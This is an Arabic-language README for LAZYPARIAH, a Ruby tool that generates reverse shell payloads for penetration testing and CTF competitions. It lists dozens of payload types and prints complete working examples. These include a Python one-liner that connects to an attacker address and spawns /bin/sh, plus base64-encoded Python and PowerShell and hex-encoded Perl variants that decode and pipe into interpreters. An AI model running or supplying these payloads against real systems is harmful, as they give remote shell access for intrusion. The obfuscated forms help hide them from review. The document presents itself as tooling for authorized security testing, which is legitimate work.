
أداة لتوليد حمولات الصدفة العكسية أثناء الطيران.
أداة سطر أوامر منخفضة الاعتماد لتوليد حمولات شل عكسية بسرعة.
LAZYPARIAH هي أداة سطر أوامر بسيطة وسهلة التثبيت مكتوبة بلغة Ruby خالصة، يمكن استخدامها أثناء اختبارات الاختراق ومسابقات التقاط العلم (CTF) لتوليد مجموعة من حمولات الشل العكسية بسرعة.
تشمل حمولات الشل العكسية التي تدعمها LAZYPARIAH (على سبيل المثال لا الحصر):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem(): php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsهذه الأداة مخصصة للاستخدام فقط في ظروف مصرح بها من قبل مختبري الاختراق المؤهلين، وباحثي الأمن، ومحترفي الفرق الحمراء. قبل تنزيل هذه الأداة أو تثبيتها أو استخدامها، تأكد من فهمك للقوانين ذات الصلة في ولايتك القضائية. لا يؤيد مؤلف هذه الأداة أو يشجع أو يتغاضى عن استخدامها لأغراض غير قانونية أو غير مصرح بها.
java_class)c_binary)rust_binary)يمكن تثبيت LAZYPARIAH على معظم أنظمة GNU/Linux و BSD باستخدام مثبّت RubyGems كما يلي:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help عرض نص المساعدة والخروج.
-l, --license عرض معلومات الترخيص والخروج.
-u, --url تشفير الحمولة بتشفير URL.
-v, --version عرض معلومات الإصدار والخروج.
-D, --fd INTEGER تحديد موصّف الملف الذي يستخدمه الهدف للاتصال TCP. مطلوب لبعض الحمولات.
-P, --pv INTEGER تحديد إصدار Python للحمولة. يجب أن يكون 2 أو 3. افتراضيًا، لا يتم تحديد إصدار.
-N, --no-new-line عدم إلحاق حرف سطر جديد بنهاية الحمولة.
--b64 تشفير حمولة c_binary أو rust_binary أو java_class بـ base-64.
--hex تشفير حمولة c_binary أو rust_binary أو java_class بالنظام الست عشري.
--gzip ضغط حمولة c_binary أو rust_binary أو java_class باستخدام zlib.
--gzip_b64 ضغط حمولة c_binary أو rust_binary أو java_class باستخدام zlib وتشفير النتيجة بـ base-64.
--gzip_hex ضغط حمولة c_binary أو rust_binary أو java_class باستخدام zlib وتشفير النتيجة بالنظام الست عشري.
الحمولات المذكورة أعلاه مُسمّاة بشكل منهجي إلى حد كبير.
الحمولات التي تنتهي بـ _c مخصصة للتنفيذ من داخل جلسة شل. هذه الحمولات تنفذ الكود مباشرة باستخدام المفسّر المناسب (مثل python3 -c أو ruby -e).
على سبيل المثال، الأمر lazypariah python_c 10.10.14.4 1337 يجب أن ينتج المخرجات التالية:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
أما الأمر lazypariah python 10.10.14.4 1337، فمن المفترض أن ينتج ببساطة كتلة من كود Python يمكن وضعها في ملف .py:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
بشكل عام، اختيار الحمولات التي تنتهي بـ _b64 يجب أن ينتج أمرًا يُقصد تشغيله من داخل جلسة شل بطريقة مشابهة للحمولات التي تنتهي بـ _c، لكن الأوامر ستكون مختلفة في الهيكل. هذه الأوامر ستقوم أساسًا بتمرير كتلة مشفرة بـ base64 عبر الأمر base64 -d ثم إلى المفسّر المناسب (مثل python3 أو python2 أو ruby).
على سبيل المثال، الأمر lazypariah python_b64 10.10.14.4 1337 يجب أن ينتج المخرجات التالية:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
الاستثناء من ذلك هو powershell_b64، الذي يستخدم مفكك التشفير base64 المدمج في Powershell. الأمر lazypariah powershell_b64 10.10.14.4 1337، على سبيل المثال، يجب أن يُرجع ما يلي:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(ملاحظة: طول الحمولة أعلاه يرجع إلى حقيقة أن Powershell يستخدم ترميز UTF-16LE، حيث يقابل الحرف الواحد بايتان.)
يمكن أن تكون هذه الأنواع من الحمولات مفيدة في مواقف معينة لأنها لا تتضمن أي علامات اقتباس مفردة أو مزدوجة.
بطريقة مماثلة، اختيار الحمولات التي تنتهي بـ _hex سينتج أمرًا يمرر كتلة مشفرة بالنظام الست عشري عبر xxd -p -r - ثم إلى المفسّر المناسب. على سبيل المثال، lazypariah perl_hex 10.10.14.4 1337 يجب أن ينتج المخرجات التالية:
echo 75736520536f636b65743b24693d2231302e31302e31342e34223b24703d313333373b736f636b657428532c50465f494e45542c534f434b5f53545245414d2c67657470726f746f62796e616d6528227463702229293b696628636f6e6e65637428532c736f636b616464725f696e2824702c696e65745f61746f6e282469292929297b6f70656e28535444494e2c223e265322293b6f70656e285354444f55542c223e265322293b6f70656e285354444552522c223e265322293b6578656328222f62696e2f7368202d6922293b7d3b | xxd -p -r - | perl
الحمولات المترجمة (c_binary و java_class و rust_binary) تحتوي على وسيطات سطر أوامر اختيارية لضغط zlib (--gzip) والتشفير بـ base64 (--b64) والتشفير بالنظام الست عشري (--hex).